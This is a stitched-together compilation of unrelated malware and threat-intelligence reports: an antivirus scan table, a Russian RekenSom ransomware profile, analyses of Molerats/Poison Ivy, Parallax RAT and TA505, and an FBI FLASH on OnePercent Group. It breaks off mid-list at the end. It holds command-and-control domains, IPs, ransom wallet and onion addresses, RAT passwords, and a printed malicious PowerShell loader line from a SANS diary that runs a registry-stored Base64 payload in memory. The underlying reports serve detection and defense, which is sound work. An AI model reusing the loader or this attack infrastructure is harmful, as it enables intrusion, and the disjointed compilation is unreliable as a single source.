``` win32update.exe MD5: eec80fd4c7fc5cf5522f0ca4eb2d9c6f File win32update.exe received on 2009.06.02 04:43:06 (UTC) Result: 15/39 (38.47%) Located in c:\windows\system32 | Antivirus | Version | Date | Result | |--------------------------|------------------|------------|------------------------------------| | Prevx | 3 | 2009.06.02 | Medium Risk | | NOD32 | 4121 | 2009.06.02 | probably Win32/PSW.Agent | | AVG | 8.5.0.339 | 2009.06.01 | PSW.Agent.XOU | | AntiVir | 7.9.0.180 | 2009.06.01 | TR/PSW.Agent.kny | | BitDefender | 7.2 | 2009.06.02 | Trojan.Generic.980251 | | GData | 19 | 2009.06.02 | Trojan.Generic.980251 | | McAfee-GW-Edition | 6.7.6 | 2009.05.29 | Trojan.PSW.Agent.kny | | VirusBuster | 4.6.5.0 | 2009.06.01 | Trojan.PWS.Agent.HWJL | | TheHacker | 6.3.4.3.335 | 2009.06.01 | Trojan/PSW.Agent.kny | | CAT-QuickHeal | 10 | 2009.06.01 | TrojanPSW.Agent.kny | | F-Secure | 8.0.14470.0 | 2009.06.02 | Trojan-PSW.Win32.Agent.kny | | Kaspersky | 7.0.0.125 | 2009.06.02 | Trojan-PSW.Win32.Agent.kny | | VBA32 | 3.12.10.6 | 2009.06.02 | Trojan-PSW.Win32.Agent.kny | | Authenticum | 5.1.2.4 | 2009.06.02 | W32/Pws.BIXJ | | F-Prot | 4.4.4.56 | 2009.06.02 | W32/Pws.BIXJ | ```
# RekenSom Ransomware **Aliases:** Som, GHack Этот крипто-вымогатель шифрует данные пользователей с помощью AES+RSA, а затем сообщает, как заплатить выкуп и вернуть файлы. Оригинальное название: RekenSom. На файлах написано: Reken.exe, FinalReken.exe, GHack.exe. **Обнаружения:** - DrWeb -> Trojan.PWS.Siggen2.44953 - BitDefender -> Generic.Ransom.Krider.8B205F69 - Avira (no cloud) -> TR/AD.RemoteExecHeur.vmdsg - ESET-NOD32 -> A Variant Of MSIL/Filecoder.BQ - Malwarebytes -> Ransom.RekenSom - Rising -> Ransom.Encoder!8.FFD4 (CLOUD) - Symantec -> Trojan Horse - TrendMicro -> Ransom.Win32.KRIDER.A К зашифрованным файлам добавляется расширение: .RekenSom. Название зашифрованного файла меняется на неузнаваемое. **Внимание!** Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. Активность этого крипто-вымогателя неизвестна. Вероятно, пока находится в разработке. Образец был найден в середине марта 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. В раннем варианте записка с требованием выкупа не обнаружена. Потом появился экран блокировки с текстом (см. обновление от 1 марта 2020). В раннем варианте был только непонятный экран с цифрами и русскими словами. Понятно, что нужно ввести какой-то цифровой код, но было непонятно как его получить и как связываться с теми, кто управляет этим шифровальщиком. ## Технические детали Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. - RekenSom использует PowerShell для осуществления атаки. - Имеется функционал для сбора информации с инфицированного ПК. - Шифрует все файлы на Рабочем столе, пытается загрузить ключ шифрования и имя компьютера на удаленный сервер, но имя хоста не указано. Нет записки от вымогателей или контактной информации. **Список файловых расширений, подвергающихся шифрованию:** .3dm, .3g2, .3gp, .aaf, .accdb, .aep, .aepx, .aet, .ai, .aif, .arw, .as, .as3, .asf, .asp, .asx, .avi, .bay, .bmp, .cdr, .cer, .class, .cpp, .cr2, .crt, .crw, .cs, .csv, .db, .dbf, .dcr, .der, .dng, .doc, .docb, .docm, .docx, .dot, .dotm, .dotx, .dwg, .dxf, .dxg, .efx, .eps, .erf, .exe, .fla, .flv, .idml, .iff, .indb, .indd, .indl, .indt, .inx, .jar, .java, .jpeg, .jpg, .kdc, .m3u, .m3u8, .m4u, .max, .mdb, .mdf, .mef, .mid, .mov, .mp3, .mp4, .mpa, .mpeg, .mpg, .mrw, .msg, .nef, .nrw, .odb, .odc, .odm, .odp, .ods, .odt, .orf, .p12, .p7b, .p7c, .pdb, .pdf, .pef, .pem, .pfx, .php, .plb, .pmd, .png, .pot, .potm, .potx, .ppam, .ppj, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .prel, .prproj, .ps, .psd, .pst, .ptx, .r3d, .ra, .raf, .rar, .raw, .rb, .rtf, .rw2, .rwl, .sdf, .sldm, .sldx, .sql, .sr2, .srf, .srw, .svg, .swf, .tif, .txt, .vcf, .vob, .wav, .wb2, .wma, .wmv, .wpd, .wps, .x3f, .xla, .xlam, .xlk, .xll, .xlm, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xqx, .zip. Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и прочее. **Файлы, связанные с этим Ransomware:** - WindowsFormsApplication8.exe - Reken.exe - FinalReken.exe - <random>.exe - случайное название вредоносного файла - secretAES.txt - secret.txt - sendBack.txt - data recive **Расположения:** - \Desktop\ - \User_folders\ - \%TEMP%\ - C:\Users\User\Desktop\secret.txt - C:\Users\User\Desktop\secretAES.txt - c:\users\karol\desktop\winlockereeeeeeeeeeeee\windowsformsapplication8\obj\release\windowsformsapplication8.pdb **Записи реестра, связанные с этим Ransomware:** См. ниже результаты анализов. **Сетевые подключения и связи:** Email: - BTC: - **Результаты анализов:** - Hybrid analysis - VirusTotal analysis - Intezer analysis - ANY.RUN analysis - VMRay analysis - VirusBay samples - MalShare samples - AlienVault analysis - CAPE Sandbox analysis - JOE Sandbox analysis **Степень распространённости:** низкая. Подробные сведения собираются регулярно. Присылайте образцы. ## Обновление от 16 марта 2020: Расширение: .som. Шифрует файлы на Рабочем столе. Имена файлов переименовываются по шаблону <Encrypted + several "-">. Примеры зашифрованных файлов: - Encrypted------------.som - Encrypted-----------.som - Encrypted----------.som - Encrypted---------.som - Encrypted--------.som - Encrypted-------.som Telegram: ©Rekensom BTC: 1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX Файл: GHack.exe Результаты анализов: VT + AR
# Operation Molerats: Middle East Cyber Attacks Using Poison Ivy Don't be too hasty to link every Poison Ivy-based cyber attack to China. The popular remote access tool (RAT), which we recently detailed on this blog, is being used in a broad campaign of attacks launched from the Middle East, too. ## Background In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well, and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.” Threat actors in specific geographic regions may prefer one RAT to another, but many RATs are publicly available and used by a variety of threat actors, including those involved in malware-based espionage. In 2012, the Molerats attacks appeared to rely heavily on the XtremeRAT, a freely available tool that is popular with attackers based in the Middle East. But the group has also used Poison Ivy (PIVY), a RAT more commonly associated with threat actors in China — so much so that PIVY has, inaccurately, become synonymous with all APT attacks linked to China. This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files. ## Enter Poison Ivy We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control (CnC) infrastructure used by the Molerats attackers. The malware sample we analyzed was unusual for two reasons: - It referenced an article that was published last year. - The compile time for the dropped binary was also dated from last year, seemingly consistent with the referenced article. But this malware was signed, and — in contrast to the compile time, which can be faked — the signing time on its certificate was much more recent: Monday, July 08, 2013 1:45:10 A.M. ### File Details - **File Name:** Hamas shoot down Israeli F-16 fighter jet by modern weapon in Gaza sea.doc.scr - **MD5:** 7084f3a2d63a16a191b7fcb2b19f0e0d This malware was signed with a forged Microsoft certificate similar to previous XtremeRat samples. But the serial number (which is often reused by attackers, enabling FireEye researchers to link individual attacks, including those by the Molerats) is different this time. The malware dropped an instance of PIVY with the following configuration: - **ID:** F16 08-07-2013 - **DNS/Port:** Direct: toornt.servegame.com:443 - **Install Path:** C:\Documents and Settings\Admin\Local Settings\Temp\morse.exe - **Password:** !@#GooD#@! We collected additional PIVY samples that had the same password or linked to CnC infrastructure at a common IP address (or both). We observed three PIVY passwords (another potential identifier) used in the attacks: “!@#GooD#@!”, “!@#Goood#@!” and “admin100”. ## Additional Samples with Middle Eastern Themes We also found a PIVY sample used by this group that leveraged what are known as key files instead of passwords. The PIVY builder allows operators to load .pik files containing a key to secure communications between the compromised computer and the attacker's machine. By default, PIVY secures these communications with the ASCII text password of "admin" — when the same non-default password appears in multiple attacks, researchers can conclude that the attacks are related. The PIVY sample in question had an MD5 hash of 9dff139bbbe476770294fb86f4e156ac and communicated with a CnC server at toornt.servegame.com over port 443. The key file used to secure communications contained the following ASCII string ‘Password (256 bits):\x0d\x0aA9612889F6’ (where \x0d\x0a represents a line break). The sample 16346b95e6deef9da7fe796c31b9dec4 was also seen communicating with toornt.servegame.com over port 443. This sample appears to have been delivered to its targets via a link to a RAR archive labeled Ramadan.rar. Another sample (a8714aac274a18f1724d9702d40030bf) dropped a decoy document in Arabic that contained a biography of General Adbel Fattah el-Sisi – the Commander-in-Chief of the Egyptian Armed Forces. A recent sample (d9a7c4a100cfefef995785f707be895c) used protests in Egypt to entice recipients to open a malicious file. Another sample (b0a9abc76a2b4335074a13939c59bfc9) contained a decoy with a grim picture of Fadel Al Radfani, who was the adviser to the defense minister of Yemen before he was assassinated. Although we are seeing Egyptian- and Middle Eastern-themed attacks using decoy content in Arabic, we cannot determine the intended targets of all of these attacks. ## Delivery Vector We believe that the Molerats attacker uses spear phishing to deliver weaponized RAR files containing their malicious payloads to their victims in at least two different ways. The Molerats actor will in some cases attach the weaponized RAR file directly to their spear-phishing emails. We also believe that this actor sends spear-phishing emails that include links to RAR files hosted on third-party platforms such as Dropbox. CnC Infrastructure We have found 15 PIVY samples that can be linked through common passwords, common CnC domain names, and common IP addresses to which the CnC domains resolve. The CnC servers for this cluster of activity are: - toornt.servegame.com - updateo.servegame.com - egypttv.sytes.net - skype.servemp3.com - natco2.no-ip.net Two of the domain names (natco2.no-ip.net and skype.servemp3.com) that were used as CnCs for PIVY were both documented as XtremeRat CnCs that were used in previous attacks. By observing changes in DNS resolution that occurred within the same timeframe, we were able to ensure that the passive DNS data we collected was the same. Interestingly, we also found that the domains often shifted to a new IP address over time. ## Conclusion We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective, publicly-available RAT to its arsenal. But this development should raise a warning flag for anyone tempted to automatically attribute all PIVY attacks to threat actors based in China. The ubiquity of off-the-shelf RATs makes determining those responsible an increasing challenge. The ongoing attacks are also heavily leveraging content in Arabic that uses conflicts in Egypt and the wider Middle East to lure targets into opening malicious files. But we have no further information about the exact targets of these Arabic lures. As events on the ground in the Middle East — and in Egypt in particular — receive international attention, we expect the Molerat operators to continue leveraging these headlines to catalyze their operations.
# TLP: WHITE The following information is being provided by the FBI, with no guarantees or warranties, for potential use at the sole discretion of recipients in order to protect against cyber threats. This data is provided to help cybersecurity professionals and system administrators guard against the persistent malicious actions of cyber actors. This FLASH was coordinated with DHS-CISA. **WE NEED YOUR HELP!** This FLASH has been released TLP: WHITE. Subject to standard copyright rules, TLP: WHITE information may be distributed without restriction. If you find any of these indicators on your networks, or have related information, please contact the FBI. ## Indicators of Compromise Associated with OnePercent Group Ransomware ### Summary The FBI has learned of a cyber-criminal group who self-identifies as the “OnePercent Group” and who have used Cobalt Strike to perpetuate ransomware attacks against US companies since November 2020. OnePercent Group actors compromise victims through a phishing email in which an attachment is opened by the user. The attachment’s macros infect the system with the IcedID banking trojan. IcedID downloads additional software to include Cobalt Strike. Cobalt Strike moves laterally in the network, primarily with PowerShell remoting. OnePercent Group actors encrypt the data and exfiltrate it from the victims’ systems. The actors contact the victims via telephone and email, threatening to release the stolen data through The Onion Router (TOR) network and clearnet, unless a ransom is paid in virtual currency. OnePercent Group actors’ extortion tactics always begin with a warning and progress from a partial leak of data to a full leak of all the victim’s exfiltrated data. The extortion/data leak typically follows these steps: 1. **Leak Warning:** After initially gaining access to a victim network, OnePercent Group actors leave a ransom note stating the data has been encrypted and exfiltrated. The note states the victim needs to contact the OnePercent Group actors on TOR or the victim data will be leaked. If the victim does not make prompt communication within a week of infection, the OnePercent Group actors follow up with emails and phone calls to the victim stating the data will be leaked. 2. **One Percent Leak:** If the victim does not pay the ransom quickly, the OnePercent Group actors threaten to release a portion of the stolen data to various clearnet websites. 3. **Full Leak:** If the ransom is not paid in full after the “one percent leak,” OnePercent Group actors threaten to sell the stolen data to the Sodinokibi Group to publish at an auction. ### Ransom Note Details and TOR Website OnePercent Group ransom notes are uniquely named and provide a link to the TOR website, which victims must access by downloading and using a TOR browser. This website is used to communicate the ransom amount, provide technical support, and negotiate with the victims via an online chat functionality. The victims are instructed to pay the ransom to a Bitcoin address and advised that a decryption key will be provided in 24-48 hours after payment. **Details** - **Onion Domain:** 5mvifa3xq5m7sou3xzaajfz7h6eserp5fnkwotohns5pgbb5oxty3zad.onion - **BTC Address:** bc1qds0yly3fn608gtm332gag029munvlute2wxktn ### File Names and Tools used by Attackers The following applications are leveraged by OnePercent actors to compromise victims. While some of these applications support legitimate purposes, they can also be used by threat actors to aid in system compromise or exploration of a victim company’s enterprise network: - AWS S3 cloud - IcedID - Cobalt Strike - Powershell - Rclone - Mimikatz - SharpKatz - BetterSafetyKatz - SharpSploit ### Technical Details OnePercent Group actors gain unauthorized access to victim networks through phishing emails with a malicious zip file attachment. The zip file includes a Microsoft Word or Excel document that contains malicious macros that allow the actors to subsequently infect the victim’s system with the banking Trojan IcedID. The actors use IcedID to install and execute the software Cobalt Strike on the victim’s network to move laterally to other systems within the environment through PowerShell remoting. The actors use rclone for data exfiltration from the victim’s network. The actors have been observed within the victim’s network for approximately one month prior to deployment of the ransomware. Once the ransomware is successfully deployed, the victim will start to receive phone calls through spoofed phone numbers with ransom demands and are provided a ProtonMail email address for further communication. The actors will persistently demand to speak with a victim company’s designated negotiator or otherwise threaten to publish the stolen data. When a victim company does not respond, the actors send subsequent threats to publish the victim company’s stolen data via the same ProtonMail email address. The FBI identified the following indicators of compromise (IOCs) that we assess are likely associated with this activity. ### Indicators - **File Extension of Encrypted Files:** The file extension presents itself as a random 8 character string. .dZCqciAv is an example of an extension seen by a victim company. - **File Name of Ransom Note:** [8 character random string]-readme.txt. This readme file will share the same random characters as the encrypted files. .dZCqciAv-readme.txt is an example seen by a victim company. - **Observed Malware Filename:** %TEMP%\Temp1_request.zip\[FILENAME].doc, %PROGRAMDATA%\vexby.txt - **TOR URL:** http://5mvifa3xq5m7sou3xzaajfz7h6eserp5fnkwotohns5pgbb5oxty3zad.onion ### Email Addresses Provided by OnePercent Group Threat Actors - [email protected] - [email protected] ### IPs and Domains - 157.245.239.187 - 31.187.64.199 - 206.189.227.145 - 167.71.224.39 - 80.82.67.221 - 138.197.179.153 - 134.209.203.30 - nix1.xyz - golddisco.top - delokijio.pw - june85.cyou - intensemisha.cyou - biggarderoub.cyou - d30qpb9e10re4o.cloudfront.net ### Recommended Mitigations Due to the attackers in question utilizing the rclone program, it is recommended that affected organizations be aware of the following hashes associated with rclone: **Rclone File Hashes** - **SHA256:** ECA9FAC6848545FF9386176773810F96323FEFF0D575C4B6E1C55F - **Rclone.exe (64 bit):** 8DB842E7FE - **SHA1:** C00CFB456FC6AF0376FBEA877B742594C443DF97 - **Rclone.exe (32 bit):** 8C5CD580116 - **SHA1:** A1D985E13C07EDDFA2721B14F7C9F869B0D733C9 ### Additional Recommendations - Back-up critical data offline. - Ensure administrators are not using “Admin Approval” mode. - Implement Microsoft LAPS, if possible. - Ensure copies of critical data are in the cloud or on an external hard drive or storage device. This information should not be accessible from the compromised network. - Secure your backups and ensure data is not accessible for modification or deletion from the system where the original data resides. - Keep computers, devices, and applications patched and up-to-date. - Consider adding an email banner to emails received from outside your organization. - Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs. - Audit user accounts with administrative privileges and configure access controls with least privilege in mind. - Implement network segmentation. - Use multi-factor authentication with strong passphrases. ### Reporting Notice The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office. Field office contacts can be identified at www.fbi.gov/contact-us/field-offices. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. ### Administrative Note This product is marked TLP: WHITE. Subject to standard copyright rules, TLP: WHITE information may be distributed without restriction.
# Parallax: The New RAT on the Block Following the increase in Parallax RAT campaigns, Morphisec Labs decided to release more technical details on some of the latest campaigns that the Morphisec Unified Threat Prevention Platform intercepted and prevented on our customers' sites. Parallax is an advanced remote access trojan that supports all Windows OS versions. It is capable of bypassing advanced detection solutions, stealing credentials, executing remote commands, and has also been linked to several coronavirus malware campaigns. Parallax is mostly delivered through malicious spam campaigns with Microsoft Word documents as the delivery vehicle of choice. ## Technical Details Before we dive into the details, we would like to cover the general flow of one of the attack chains we investigated. ### General Flow The first stage in this campaign is a Microsoft Word document with embedded macros. When macros are enabled, a DLL is dropped to the %Temp% directory. The export function of this DLL is then invoked, which injects shellcode to the “Notepad.exe” process. This process is responsible for downloading the next stage from pastebin, which is the Parallax RAT loader. The Parallax RAT loader does similar things in order to execute the final Parallax RAT payload. It injects a shellcode to the “mstsc.exe” process, which is responsible for downloading the next stage from “i.imgur.com” in the form of a picture. It then decrypts the picture and injects it into the “cmd.exe” process. As part of its persistence mechanism, scheduled tasks will be created to launch the malware at various intervals. ### First Stage: Document Below is one example of a Microsoft Word document that’s used to deliver Parallax RAT. Note the low detection rate according to VirusTotal. Morphisec Labs has seen these documents delivered via phishing emails to targeted machines since January 2020. The content of the document is designed to lure the victim into enabling macros. Once that’s done, the RAT can run and deliver its payload. If we look at the embedded macros, we can see that there are two interesting calls in between the garbage code. These calls are responsible for parsing the words in the document itself and converting them back to DLL, 64-bit and 32-bit versions respectively. The words (numbers) in the document are actually the DLL split into decimal values. The first two arguments passed to the function mark the start and the end of the DLL, the third argument stands for the DLL name to be dropped in the %temp% folder, fourth and fifth are garbage and never used. We found the same behavior in other documents with different names, as well as the same garbage code and the same number of unused arguments. ### Second Stage: DLL The invoked DLL export function is responsible for decoding a shellcode that injects the next stage shellcode into a Notepad.exe process. In order to hide the use of the low level (Nt* and Zw* functions) process hollowing injection, the shellcode uses direct syscalls. Attackers use this technique to escape debugger breakpoints as well as evade userland hooks. Parallax maps its own copy of ntdll into memory to utilize this technique. After the new copy of ntdll is mapped, Parallax uses simple offset extraction from the opcode to extract the system calls. The injected shellcode (usually injected to Notepad.exe) is responsible for downloading and decoding Parallax RAT from pastebin. The pastebin content is decoded using base64 and XORed with a key that is generated using CRC32 checksum function on the pastebin URL. The decoded Parallax payload is then dumped and executed from the %temp% directory. Vitali K covered the loader and image decoder that makes up Parallax RAT, while the pastebin decoder is accessible via Github. ## Conclusion This new Parallax RAT campaign is indicative of the trend toward Malware-as-a-Service, or MaaS, one of the most pernicious weapons in the arsenal of threat actors. It’s also the trend that has largely driven the level of innovation in malware available to cybercriminals. Despite this, Morphisec customers can remain confident that they are protected against Parallax RAT and other remote access trojans through the power of moving target defense. ## Appendix ### IOCs: **Doc (SHA1):** - 2b2eaf94189d21b7a4418ff480fa332832aa0d98 - e793d2e0ac963357dc7895f62071c1036eba8284 - e440f67ca7d34be0f7346013d078072f64774e8c - 45df85b3fe8954099cd49fdc5d59863baf1e6b76 - 40efa7e40846c5041e33ecd3396082a160f8d72c - b4d8a4470ed1dc1dec7cf62c6d0bada7ca1fed21 - 242c71fda9c05f89730204361ff6a21cdae025e7 - 2ab5bae45055e0c18ac9f0ccc190f6f277dc806f - ff8c49fbfb3da3a8e84bc332e646e4df3f3f6760 - 50c623fab59258300680f3dd0447cf3815498d89 - 161820606da9b7949dd45b93fe39b07b01bd973e - 2fb1a63a3505427e42323bafef10349cc48b2a8b - 420d9ffc0a760c40ca2e8ea480b8e268225a07f2 - 1dc94d5d49cd4ab215f291d188544a4996c05654 - 8642f6bb8b1db4c3adaad1c90167430f28536362 **Pastebin:** - hxxps://pastebin[.]com/raw/2spx5VGG - hxxps://pastebin[.]com/raw/5PiLyRjs - hxxps://pastebin[.]com/raw/5UNceFha - hxxps://pastebin[.]com/raw/aKj2aqwc - hxxps://pastebin[.]com/raw/AvEEMK9J - hxxps://pastebin[.]com/raw/BTiRSV6C - hxxps://pastebin[.]com/raw/BXBbPstB - hxxps://pastebin[.]com/raw/cpfstw2k - hxxps://pastebin[.]com/raw/CuUTrPX0 - hxxps://pastebin[.]com/raw/drvV1FPJ - hxxps://pastebin[.]com/raw/EnTPcdwc - hxxps://pastebin[.]com/raw/exs0tSC7 - hxxps://pastebin[.]com/raw/FAUCzPvi - hxxps://pastebin[.]com/raw/eYRSb32g
# A VBScript with Obfuscated Base64 Data Published: 2017-07-08 Last Updated: 2017-07-08 05:56:42 UTC by Xavier Mertens (Version: 1) A few months ago, I posted a diary to explain how to search for (malicious) PE files in Base64 data. Base64 is indeed a common way to distribute binary content in an ASCII form. There are plenty of scripts based on this technique. On my Macbook, I'm using a small service created via Automator to automatically decode highlighted Base64 data and submit them to my Viper instance for further analysis. But yesterday, I found, on pastebin.com, a malicious WScript file with a Base64 string that did not decode. The script ended with an error "Invalid character in input stream.” I had a quick look at the script and found indeed unexpected characters randomly spread in the Base64 data: ``` 1/3H="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA gBTM~*hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ~*KJAAAAAAAAABQRQAATAEDAG OAAAgELAQsAALIAAAAIAAAAAAAAjtEAAAAgAAAA4AAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAAAgAQA UAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADTRAABXAAAAAOAAAPgEAAAAAAAAAAAAAAAAAAAAAAAA AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAA AC5~*ZXh~*AAAAlLEAAAAgAAAAsgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAPgEAAAA4AAAAAYAAAC~ AAAABAAABAL...(redacted) ``` If you check in the VBScript code, you'll indeed see an instruction to replace those unexpected characters from the Base64 string: ```vbscript $_b=$_b.replace('~*','0’); ``` When just replace the string by ‘0’ as stated in the script, you get back the malicious PE file: ```bash $ sed "s/\~\*/0/g" base64.txt | base64 -d >base64.exe $ file base64.exe foo.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows $ md5sum base64.exe 07be65dedbee0ef5582f0eff5dd4d804 base64.exe ``` The file is, of course, malicious as reported by VT. Finally, a quick remark about the script itself: it uses the Windows registry to store the payload and execute it: ```vbscript O.regwrite D,H,"REG_SZ" O.Run C & chrw(34) & "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName; $_b=$_b.replace('~*','0'); [byte[]]$_0 = [System.Convert]::FromBase64String($_b); $_1 = [System.Threading.Thread]::GetDomain().Load($_0); $_1.EntryPoint.invoke($null,$null);" & Chrw(34),0,false ``` Nothing fancy here but attackers are always using small tricks to prevent (or better "to slow down") the automated analysis by security tools. Search always for functions/tools that do search/replace operations in the analyzed code. It can help to save your time. Happy hunting! **Keywords:** Automation, Base64, Obfuscation, VBScript
# LEGIT REMOTE ADMIN TOOLS TURN INTO THREAT ACTORS’ TOOLS ## TA505 and other Threat Actors targeting US retailers and financial organizations in Europe, APAC and LATAM ## EXECUTIVE SUMMARY Exploring the current global trend of increasing threat actors’ sophistication, CyberInt researchers have been tracking various activities following the spear-phishing campaign targeting large US-based retailers detected in December 2018. The research focused on scenarios with the same tactics, techniques and procedures (TTP) along with the repeated nefarious use of a ‘legitimate’ remote administration tool ‘Remote Manipulator System’ (RMS), developed by a Russian-based company ‘TektonIT’. Based on this continued analysis, an additional campaign targeting financial institutions in Chile, India, Italy, Malawi, Pakistan and South Korea was identified as previously conducted during December 2018. Given the use of specific malware, it is with high certainty attributed to the financially-motivated threat actor group ‘TA505’. Whilst TA505 are almost certainly responsible for several of these recent campaigns, broader analysis of the TTP employed indicates that multiple threat actors are conducting similar operations against a variety of victims, especially with the use of RMS. Organized cybercriminal groups, and many less-organized threat actors, utilizing these TTPs are likely financially motivated, seeking access to systems from which valuable data can be stolen or on which they can perform fraudulent financial transactions. In order to achieve these goals, threat actors appear to be utilizing remote administration tools to directly perform this activity as well as leveraging the tool’s capabilities to conduct reconnaissance and lateral movement within a victim network. Given the capabilities of the remote administration tool and the accessibility of information on how to conduct malicious operations, ‘lone-wolf’ threat actors and groups with differing objectives or motivations may be utilizing the same toolsets and TTPs for general malevolence or mischief. ## ‘TA505’ Group Profile The sophisticated threat actor group dubbed ‘TA505’ are financially motivated and have been attributed to high-volume malicious email campaigns since 2014 including the distribution of the ‘Dridex’ and ‘Shifu’ banking trojans as well as the Neutrino botnet/exploit kit and Locky ransomware. Following the decline in the popularity of ransomware, likely due to mitigation tactics employed by organizations and victims lacking confidence in data restoration following payment, TA505 were observed as returning to tried and tested payloads such as information stealing backdoors and remote access trojans (RAT) that are delivered using downloaders and weaponised Microsoft Office files. ## RECENT CAMPAIGNS ### US Retail Attacks In mid-December 2018 a spear-phishing campaign was detected as targeting large US-based retailers along with organizations in the food and beverage industry. Masquerading as a legitimate communication sent from a Ricoh printer, the initial email lured victims into opening an attached malicious Microsoft Word document. Once opened, the lure document encourages the victim to disable Microsoft Office’s security features as well as including the target organization logo to appear authentic. Once editing has been enabled within the document, a Visual Basic for Applications (VBA) macro is executed that will download an additional payload from the threat actor’s command and control (C2) infrastructure. ### Financial Industry Attacks with ServHelper Pivoting on indicators and behaviours observed in the US-based retail attacks and TA505 activity, a campaign targeting financial organizations was identified as active between December 2018 and March 2019. This campaign has targeted financial institutions in Chile, India, Italy, Malawi, Pakistan and South Korea at least, utilizing somewhat minimal email lures, often purporting to relate to payments, victims are enticed into opening the attached weaponised Microsoft Excel spreadsheet. Unlike the US-based retail campaign, the spreadsheet lure does not contain VBA macros and instead spawns a Microsoft Windows Installer process to download an additional payload from the threat actor’s command and control (C2) infrastructure. ### Notary Chamber of Ukraine Attack Also observed in December 2018, the same TTP, including ‘RMS’ being deployed, were used in an attack against the Notary Chamber of Ukraine. In this instance, the initial email spear-phishing campaign mimicked the Shevchenkivsky District Court of Kyiv regarding a notary issue and encouraged the victim to open the weaponised Microsoft Word document attachment. ## REMOTE MANIPULATOR SYSTEM (RMS) Remote Manipulator System (RMS) is a legitimate remote administration tool developed by a Russian organization ‘TektonIT’ and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licences, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices. ## INDICATORS OF COMPROMISE (IOC) ### US Retail Attacks **Files** - 5bacc14dc9b098a89b5640f33be634b04194bf1f5cf5e2fa07237a6a6341ca8d - Lure document - 9206f08916ab6f9708d81a6cf2f916e2f606fd048a6b2355a39db97e258d0883 - MSI installation package - 06c637ac62cab511c5c42e142855ba0447a1c8ac8ee4b0f1f8b00faa5310fe9f - msi2adc.tmp - 1afec81881ec08abe35a356b99c9c26735ee7885e3f40b36e051c0a2943ae93a - exit.exe - fb4f5a71c6481676638021e7360ea362840b950f2618af0d14c297ab2937ed52 - syst.dll - d2d9245a692204edf485353e23043ee7134c5114a7e231ae5d5c41461d38e800 - i.cmd - 609b0a416f9b16a6df9b967dc32cd739402af31566e019a8fb8abdf3cb573e30 - winserv.exe - 3917B497AE4972AE720918D1539DF6572E84AA3DEA2262E27F0AA3DC63E03A26 - i.cmd - (MD5)d5e2a280b9201e733cca19c6a6f94a61 - settings.dat **File System** - %PROGRAMDATA%\Microtik - %PROGRAMDATA%\Microtik\exit.exe - %PROGRAMDATA%\Microtik\winserv.exe - %PROGRAMDATA%\Microtik\i.cmd - %SYSTEMROOT%\installer\msi2adc.tmp - %TEMP%\7zinstall.exe - %TEMP%\i.cmd - %TEMP%\sdw.vbs **Registry** - [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] - "Microtik"="c:\ProgramData\Microtik\winserv.exe" - [HKEY_CURRENT_USER\Software\TektonIT\Remote MANIPULATOR System\] ### Financial Industry Attacks with ServHelper **Files** - 308c49b40b7bb4f59ad489e14c15ec4f68e69f8fcef835046d62c08266340344 - DEC-18 PAYMENTS.xls - 5128f294290b31eb4f3457365e8b850847f6912ec6deff7db3e07c22457df8ae - ATM Card Issue.xls - 67cf5032422395715aa883297cd4af87fec53b27c1f55799cedd064baaa95a6b - help.bat - 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190 - htpd.dat - 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4 - rds.vbs - 976fc8e82dc2c1b6ba7d8eecf37ca289c228b785c8ea4dbea6045e84580ed41c - Dec-18 pending payments.xls **File System** - %SYSTEM32%\syssettings.ini - %SYSTEM32%\termsrv32.dll - %SYSTEMROOT%\ServHelper.dll - %SYSTEMROOT%\installer\msi1.tmp - %TEMP%\htpd.dat - %TEMP%\rds.vbs ### 